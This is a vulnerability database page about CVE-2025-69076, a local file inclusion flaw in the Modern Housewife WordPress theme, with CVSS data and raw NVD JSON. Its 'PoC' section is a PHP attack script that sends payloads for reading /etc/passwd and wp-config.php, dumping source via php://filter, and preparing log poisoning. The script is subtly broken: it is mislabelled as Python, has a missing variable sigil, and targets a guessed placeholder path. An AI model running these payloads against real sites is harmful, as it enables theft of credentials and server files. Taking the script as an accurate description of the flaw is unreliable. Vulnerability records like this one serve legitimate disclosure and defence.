Security Vulnerability Report
中文
CVE-2025-69076 CVSS 8.1 HIGH

CVE-2025-69076

Published: 2026-01-22 17:16:22
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Modern Housewife modernhousewife allows PHP Local File Inclusion.This issue affects Modern Housewife: from n/a through <= 1.0.12.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Modern Housewife <= 1.0.12 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69076 PoC - Modern Housewife LFI * Target: WordPress Modern Housewife Theme <= 1.0.12 * Type: Local File Inclusion * Usage: Modify 'target' and 'vulnerable_param' as needed */ $target = 'http://target-site.com'; $vulnerable_path = '/wp-content/themes/modernhousewife/some-include.php'; $vulnerable_param = 'file'; // Common parameter names: file, page, include, template, etc. // LFI payloads for different purposes events = array( // Read system files '/etc/passwd', '../../../../../../etc/passwd', // Read WordPress config '../../wp-config.php', '/var/www/html/wp-config.php', // Read PHP source using wrapper 'php://filter/read=convert.base64-encode/resource=index.php', // Log file poisoning prep '/var/log/apache2/access.log', '/var/log/nginx/access.log' ); foreach ($events as $payload) { $url = $target . $vulnerable_path . '?' . $vulnerable_param . '=' . urlencode($payload); echo "[*] Testing: " . $url . "\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Potential vulnerability detected!\n"; echo "Response length: " . strlen($response) . " bytes\n"; break; } } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69076", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:21.753", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Modern Housewife modernhousewife allows PHP Local File Inclusion.This issue affects Modern Housewife: from n/a through <= 1.0.12."}, {"lang": "es", "value": "La vulnerabilidad de Control Inadecuado del Nombre de Fichero para la Sentencia Include/Require en Programa PHP ('Inclusión Remota de Ficheros PHP') en AncoraThemes Modern Housewife modernhousewife permite Inclusión Local de Ficheros PHP. Este problema afecta a Modern Housewife: desde n/a hasta &lt;= 1.0.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/modernhousewife/vulnerability/wordpress-modern-housewife-theme-1-0-12-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}